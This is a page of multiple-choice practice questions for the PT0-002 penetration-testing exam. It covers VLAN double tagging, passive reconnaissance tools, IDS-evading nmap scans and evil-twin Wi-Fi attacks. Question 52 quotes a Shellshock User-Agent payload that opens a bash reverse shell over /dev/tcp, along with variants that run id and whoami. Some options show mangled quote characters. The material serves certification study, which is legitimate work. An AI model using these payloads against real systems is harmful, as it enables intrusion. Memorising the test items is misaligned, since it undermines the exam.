PT0-002

PT0-002 practice questions, page 11 of 22, with answer review and explanations.

Question 51

A penetration tester who is doing a company-requested assessment would like to send traffic to another system suing double tagging. Which of the following techniques would BEST accomplish this goal?

  1. RFID cloning
  2. RFID tagging
  3. Meta tagging
  4. Tag nesting

Question 52

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

  1. exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i id;whoamiג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  2. exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i>& find / -perm -4000ג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  3. exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/sh -i ps -efג€ 0>&1ג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
  4. exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80ג€ 0>&1ג€ ג€Acceptג€: ג€text/ html,application/xhtml+xml,application/xmlג€}

Question 53

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

  1. Wireshark
  2. Nessus
  3. Retina
  4. Burp Suite
  5. Shodan
  6. Nikto

Question 54

A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?

  1. nmap -P0 -T0 -sS 192.168.1.10
  2. nmap -sA -sV --host-timeout 60 192.168.1.10
  3. nmap -f --badsum 192.168.1.10
  4. nmap -A -n 192.168.1.10

Question 55

A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

  1. Send deauthentication frames to the stations.
  2. Perform jamming on all 2.4GHz and 5GHz channels.
  3. Set the malicious AP to broadcast within dynamic frequency selection channels.
  4. Modify the malicious AP configuration to not use a preshared key.